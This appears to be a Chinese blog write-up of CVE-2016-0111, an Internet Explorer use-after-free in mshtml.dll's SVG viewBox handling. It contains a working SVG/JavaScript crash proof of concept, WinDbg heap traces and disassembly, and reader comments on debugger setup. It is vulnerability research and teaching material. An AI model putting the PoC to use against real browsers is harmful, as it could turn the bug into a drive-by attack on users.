[CVE-2016-0111]IE SetAttributeStringAndPointer释放后重用漏洞分析[MS16-023]

作者:k0shl 转载请注明出处:https://whereisk0shl.top

2016年的UAF,我也好想回到2016年4月3日,可惜再也等不到她..


漏洞说明


软件版本:
IE10即可

PoC:

<svg xmlns="http://www.w3.org/2000/svg" xlink="http://www.w3.org/1999/xlink">
<pattern id="outer"><rect id="rect"><pattern id="inner"></pattern></rect></pattern>
<script><![CDATA[
  function handler() {
    inner.setAttribute("viewBox");
  }
  outer.addEventListener("DOMAttrModified", function () { handler(); });
  doc = document.implementation.createDocument("", "", null);
  doc.adoptNode(rect.attributes[0]);
]]></script>
</svg>

漏洞复现


这是IE浏览器的一处释放后重用漏洞,问题出现在mshtml.dll中CSVGHelpers类的SetAttributeStringAndPointer函数,此函数中会调用一处ProcessHeapFree用来释放结构体,而在释放后,没有对结构体进行标记,在后来函数调用中会引用到这个结构体,从而导致了漏洞的发生。在后续利用中,可以利用堆喷控制结构体某处指针,在后续调用中引用指针时获得执行代码的能力,下面对此漏洞进行详细分析。

首先,调试IE的UAF漏洞需要Windbg的gflags.exe功能,开启页堆监视,可以很好的复现这个漏洞的发生场景。

>gflags.exe /i iexplore.exe +ust +hpa

开启之后执行PoC,IE崩溃,到达漏洞现场

(bb0.940): Break instruction exception - code 80000003 (first chance)
eax=004779d8 ebx=00000000 ecx=00000002 edx=004779d8 esi=00250000 edi=00250000
eip=7440ba58 esp=08af3cac ebp=08af3cc8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\verifier.dll - 
verifier!VerifierStopMessage+0x1f8:
7440ba58 cc              int     3

这时候heap会捕获漏洞发生时堆得异常变化情况。

===========================================================
VERIFIER STOP 00000007: pid 0xBB0: block already freed 

    00251000 : Heap handle
    0C58B438 : Heap block
    00000010 : Block size
    00000000 : 
===========================================================
This verifier stop is not continuable. Process will be terminated 
when you use the `go' debugger command.
===========================================================

重点关注0C58B438地址,这个地址就是堆块的地址,可以看到这个块已经被释放了,说明在之前这个堆块中的内容在某处释放了,然而后续却又一次引用到了释放后的堆块,因此造成的UAF漏洞,通过heap -p -a可以观察到Heap block的引用情况。

0:007> !heap -p -a 0c58b438
    address 0c58b438 found in
    _HEAP @ 5100000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c58b410 0009 0000  [00]   0c58b438    00010 - (free DelayedFree)
        Trace: 0334
        7440a7d6 verifier!AVrfpDphNormalHeapFree+0x000000b6
        744090d3 verifier!AVrfDebugPageHeapFree+0x000000e3
        77b61564 ntdll!RtlDebugFreeHeap+0x0000002f
        77b1ac29 ntdll!RtlpFreeHeap+0x0000005d
        77ac34a2 ntdll!RtlFreeHeap+0x00000142
        7441cc4f verifier!AVrfpRtlFreeHeap+0x00000086
        755c14dd kernel32!HeapFree+0x00000014
        7441dd48 verifier!AVrfpHeapFree+0x00000097
        6f1c0639 MSHTML!MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks+0x0000006a
        6f1c05ae MSHTML!MemoryProtection::CMemoryProtector::ReclaimMemory+0x000000cd
        6f1840d4 MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree+0x0000003f
        6f2fe8bc MSHTML!CEventMgr::Dispatch+0x000004a5
        6f7f2831 MSHTML!CEventMgr::DispatchDOMAttrModified+0x00000098
        6f883793 MSHTML!CElement::ie9_setAttributeNSInternal+0x0000041b
        6f24e12b MSHTML!CElement::Var_setAttribute+0x000001f1
        6f24df14 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044
        6ecfe6ee jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000101

可以看到堆块的内存会调用HeapFree释放内存空间,这里和kb回溯有所出入,因为!heap跟踪的是堆块的调用情况,这时再通过kb回溯一下。

0:007> kb
ChildEBP RetAddr  Args to Child              
08c741d0 743a9d3c 00000007 743a16d4 00531000 verifier!VerifierStopMessage+0x1f8
08c74234 743aa22a 00531000 00000004 0d013268 verifier!AVrfpDphReportCorruptedBlock+0x10c
08c74290 743aa742 00531000 0d013268 00000004 verifier!AVrfpDphCheckNormalHeapBlock+0x11a
08c742b0 743a90d3 00531000 00980000 01000002 verifier!AVrfpDphNormalHeapFree+0x22
08c742d4 77b61564 00530000 01000002 0d013268 verifier!AVrfDebugPageHeapFree+0xe3
08c7431c 77b1ac29 00530000 01000002 0d013268 ntdll!RtlDebugFreeHeap+0x2f
08c74410 77ac34a2 00000000 0d013268 00000000 ntdll!RtlpFreeHeap+0x5d
08c74430 743bcc4f 00530000 00000000 0d013268 ntdll!RtlFreeHeap+0x142
08c74478 755c14dd 00530000 00000000 0d013268 verifier!AVrfpRtlFreeHeap+0x86
08c7448c 743bdd48 00530000 00000000 0d013268 kernel32!HeapFree+0x14
08c744d8 6a510639 00530000 00000000 0d013268 verifier!AVrfpHeapFree+0x97
08c7450c 6a5105ae 00a15df8 0d017320 00530000 MSHTML!MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks+0x6a
08c7457c 6a4ac606 0000002b 8000ffff 090a8c28 MSHTML!MemoryProtection::CMemoryProtector::ReclaimMemory+0xcd
08c745a0 6ab61856 6ab61790 08c745c8 1f1d0422 MSHTML!ProcessHeapFree+0x45
08c745b8 6a5ec799 090a8c28 0d0172dc 6a5edf88 MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>+0xb6
08c745d0 6a5eef30 090a8c28 090a8c28 0d0172dc MSHTML!BASICPROPPARAMS::SetString+0x21
08c74610 6a5f0158 6a5edf74 1f1d0422 0d0172dc MSHTML!PROPERTYDESC::HandleStringProperty+0xd0
08c7463c 6a59e29f 090a8c28 1f1d0422 0d0172dc MSHTML!PROPERTYDESC::CallHandler+0x60
08c7467c 6a59e1c3 6a5edf74 000003fd 08c74760 MSHTML!CElement::SetAttributeFromPropDesc+0xb6

可以看到在0bb14d88位置调用了SetAttributeStringAndPointer函数,但这里并不是关键,关键在于之前的SetAttributeFromPropDesc,下面就由此入手分析这个UAF漏洞。


漏洞分析


首先,先通过PoC简单分析一下。

<script><![CDATA[
  function handler() {
    inner.setAttribute("viewBox");
  }
  outer.addEventListener("DOMAttrModified", function () { handler(); });
  doc = document.implementation.createDocument("", "", null);
  doc.adoptNode(rect.attributes[0]);
]]></script>

问题出现在CDATA中,在outer.addEventListener中,通过handler创建了一个结构体viewBox,接下来在doc变量会调用createDocutment,这时会释放这个结构体,最后在adopteNode中会再次调用这个结构体,由于释放时没有对这个结构体进行标记,导致后续调用位置是释放后的值,从而导致漏洞发生。

在6a59e1be地址下断点,重新附加PoC,命中断点,这里我要说明一下,由于调试环境是win7 x64,IE 11,存在ASLR,所以调试时地址不太相同,需要计算偏移才能计算绝对地址。

Breakpoint 0 hit
eax=00000002 ebx=00000000 ecx=090a8c28 edx=00000000 esi=090a8c28 edi=000003fd
eip=6a59e1be esp=08e5b084 ebp=08e5b10c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
MSHTML!CElement::ie9_setAttributeNSInternal+0x16c:
6a59e1be e88be16400      call    MSHTML!CElement::SetAttributeFromPropDesc (6abec34e)
0:007> kb
ChildEBP RetAddr  Args to Child              
08e5b10c 6a59e12b 00000000 00000000 083f51c0 MSHTML!CElement::ie9_setAttributeNSInternal+0x16c
08e5b170 6a59df14 0008fc18 08e5b1a8 00000002 MSHTML!CElement::Var_setAttribute+0x1f1
08e5b198 6ffbe6ee 0883ec30 10000002 097bd120 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x44

在该地址处会调用SetAttributeFromPropDesc函数,这个函数会创建结构体,创建后,会调用CallHandler进行和viewBox有关操作。

0:007> bp 6A5F00F3
0:007> g
Breakpoint 1 hit
eax=1f1d0422 ebx=090a8c28 ecx=6a5edf74 edx=0001adb0 esi=00000000 edi=6a5edf74
eip=6a5f00f3 esp=08e5b040 ebp=08e5b07c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200206
MSHTML!PROPERTYDESC::CallHandler:
6a5f00f3 8bff            mov     edi,edi
0:007> kb
ChildEBP RetAddr  Args to Child              
08e5b03c 6a59e29f 090a8c28 1f1d0422 00a26c0c MSHTML!PROPERTYDESC::CallHandler
08e5b07c 6a59e1c3 6a5edf74 000003fd 08e5b160 MSHTML!CElement::SetAttributeFromPropDesc+0xb6
08e5b10c 6a59e12b 00000000 00000000 083f51c0 MSHTML!CElement::ie9_setAttributeNSInternal+0x171

接下来引用时会调用SetViewBoxHelper函数,在调用这个函数的过程中,传递空值导致堆释放。

0:007> p
eax=09da8254 ebx=1f1d0422 ecx=6ab61790 edx=6a5edf74 esi=6ab61790 edi=08e57b08
eip=6a5ec78e esp=08e57b04 ebp=08e57b10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
MSHTML!BASICPROPPARAMS::SetString+0x16:
6a5ec78e ff7508          push    dword ptr [ebp+8]    ss:002b:08e57b18=090a8c28
0:007> p
eax=09da8254 ebx=1f1d0422 ecx=6ab61790 edx=6a5edf74 esi=6ab61790 edi=08e57b08
eip=6a5ec791 esp=08e57b00 ebp=08e57b10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
MSHTML!BASICPROPPARAMS::SetString+0x19:
6a5ec791 ff1534af566b    call    dword ptr [MSHTML!__guard_check_icall_fptr (6b56af34)] ds:002b:6b56af34=6a4d4b50
0:007> p
eax=09da8254 ebx=1f1d0422 ecx=6ab61790 edx=6a5edf74 esi=6ab61790 edi=08e57b08
eip=6a5ec797 esp=08e57b00 ebp=08e57b10 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
MSHTML!BASICPROPPARAMS::SetString+0x1f:
6a5ec797 ffd6            call    esi {MSHTML!CSVGElement::SetViewBoxHelper (6ab61790)}

通过IDA,可以看到SetViewBoxHerlper向漏洞函数SetAttributeStringAndPointer跳转。

MSHTML!CSVGElement::SetViewBoxHelper:
6ab61790 8bff            mov     edi,edi
6ab61792 55              push    ebp
6ab61793 8bec            mov     ebp,esp
6ab61795 8b4d08          mov     ecx,dword ptr [ebp+8]
6ab61798 5d              pop     ebp
6ab61799 eb05            jmp     MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect> (6ab617a0)

看一下SetAttributeStringAndPointer的函数结构。

.text:63C817A0 ; Attributes: bp-based frame
.text:63C817A0
.text:63C817A0 ; public: static long __stdcall CSVGHelpers::SetAttributeStringAndPointer<class CRectF, class CSVGRect>(class CSVGElement *, struct PROPERTYDESC_STRING_GETSET const *, long, unsigned short const *)
.text:63C817A0 ??$SetAttributeStringAndPointer@VCRectF@@VCSVGRect@@@CSVGHelpers@@SGJPAVCSVGElement@@PBUPROPERTYDESC_STRING_GETSET@@JPBG@Z proc near
.text:63C817A0                                         ; CODE XREF: CSVGElement::SetViewBoxHelper(ushort const *)+9j
.text:63C817A0                                         ; CSVGElement::CloneAttributes(CElement *)+BE_x0019_p
.text:63C817A0
.text:63C817A0 dwFlags         = dword ptr -4
.text:63C817A0 arg_4           = dword ptr  0Ch
.text:63C817A0
.text:63C817A0 ; FUNCTION CHUNK AT .text:63EDE500 SIZE 0000001B BYTES

函数头部并不重要接下来有一处关键跳转。

.text:63C81812 loc_63C81812:                           ; CODE XREF: CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>(CSVGElement *,PROPERTYDESC_STRING_GETSET const *,long,ushort const *)+2Fj
.text:63C81812                 push    [ebp+arg_4]
.text:63C81815                 mov     ecx, esi
.text:63C81817                 call    ?FromString@CSVGRect@@SGJPAVCRectF@@PBUPROPERTYDESC@@PBG@Z ; CSVGRect::FromString(CRectF *,PROPERTYDESC const *,ushort const *)
.text:63C8181C                 mov     edi, eax
.text:63C8181E                 test    edi, edi
.text:63C81820                 js      loc_63EDE500

这里会进行判断,若为空,则直接跳转释放堆块。

.text:63C8184F loc_63C8184F:                           ; CODE XREF: CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>(CSVGElement *,PROPERTYDESC_STRING_GETSET const *,long,ushort const *)+6Cj
.text:63C8184F                                         ; CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>(CSVGElement *,PROPERTYDESC_STRING_GETSET const *,long,ushort const *)+25CD70_x0019_j
.text:63C8184F                 mov     ecx, esi        ; void *
.text:63C81851                 call    ?ProcessHeapFree@@YGHPAX@Z ; ProcessHeapFree(void *)
.text:63C81856                 jmp     short loc_63C81839

接下来单步执行,并在ProcessHeapFree下断点。

0:007> p
eax=09e3dd0c ebx=1f1d0422 ecx=090a8c28 edx=6a5edf74 esi=6ab61790 edi=08e56d48
eip=6ab617a0 esp=08e56d3c ebp=08e56d50 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>:
6ab617a0 8bff            mov     edi,edi

eax=00000001 ebx=090a8c28 ecx=0d017320 edx=00000002 esi=0d017320 edi=8000ffff
eip=6ab61851 esp=08c745a8 ebp=08c745b8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>+0xb1:
6ab61851 e86bad94ff      call    MSHTML!ProcessHeapFree (6a4ac5c1)


===========================================================
VERIFIER STOP 00000007: pid 0x95C: block already freed 

    00531000 : Heap handle
    0D013268 : Heap block
    00000010 : Block size
    00000000 : 
===========================================================
This verifier stop is not continuable. Process will be terminated 
when you use the `go' debugger command.
===========================================================

(95c.758): Break instruction exception - code 80000003 (first chance)
eax=00c979d8 ebx=00000000 ecx=00000002 edx=00c979d8 esi=00530000 edi=00530000
eip=743aba58 esp=08c741b4 ebp=08c741d0 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
verifier!VerifierStopMessage+0x1f8:
743aba58 cc              int     3

可以看到,释放之后没有对堆块进行标记,再次引用时,造成了UAF的发生。

Comments
Write a Comment
  • beet1e reply

    大佬,你好,小白有个问题想请教下,就是对于这种IE的漏洞,如果只有一个poc,而没有漏洞的一些描述信息,应该怎么去分析呢?还有个很蠢的问题就是,我在用windbg attach后,打开poc,windbg并不会由于IE的崩溃而端下来,搞得我快崩溃了:-(,好心的大佬指定一下,拜托。

    • K0Pwn_0110 reply

      @beet1e IE一个新的tag是一个新的进程,windbg没命中crash是附加错进程了

      • beet1e reply

        @K0Pwn_0110 @K0Pwn_0110 真是感谢博主能够回答我!!没有啊,博主,我就开了一个tag,而且windbg attach界面只有一个iexplore.exe进程,我attach上去之后,g让ie运行起来,然后就在这个tag打开poc,ie会崩溃,但奇怪的是,ie崩溃时显示出一个对话框,一个选项是联机查找解决方案,一个是关闭程序,弹出这个对话框的时候,windbg处于running状态,不管点那个选项,ie都会关闭,而windbg也是断在ie结束后的地方,不会断在crash处。麻烦博主了,见谅!

        • K0Pwn_0110 reply

          @beet1e 这个就是没有附加对进程的原因,我建议在PoC前面加一个alert(1),然后你再运行,弹出1对话框的时候,你再用windbg attach process,这时候应该会多出一个IE进程,附加上就可以了

          • beet1e reply

            @K0Pwn_0110 感谢博主的认真解答,这个问题在博主的帮助下(添加alert(1))已经解决了。为了找到这个问题的原因,我做了一组对比实验。对比实验1:如果直接打开添加有alert的poc的话,在弹出对话框时用windbg attach,然后g继续运行,然后点击确定对话框,此时windbg可以在crash处断下;对比实验2:如果先打开ie然后用windbg attach上去,此时ie只有一个标签页,而且无法响应,在windbg下输入g命令,此时ie该标签页可以正常响应,由此确定windbg没有attach进程,此时在该tag下通过文件->打开->选定与实验1相同的poc,然后出现对话框后点击确定,windbg无法在crash处断下;对比实验3:与对比试验2相似,只是在同一个tag下打开poc出现对话框后在用windbg attach上去,然后g继续运行,点击对话框的确定,发现还是无法在crash处断下。通过查看任务管理器,发现即使是在同一个tag下打开poc,ie还是会启动一个新的进程来装载这个poc页面,而原来的进程并没有被kill掉,而windbg还是处在原来的那个进程下,而poc页面处在一个新进程中,所以导致windbg无法catch到crash。总之,还是博主说的没有attach到真正的poc进程。太感谢博主了!!!如果博主嫌我太啰嗦,可以把我的评论删掉:-)

            • K0Pwn_0110 reply

              @beet1e 客气哈,总结的挺好的!have fun and pwn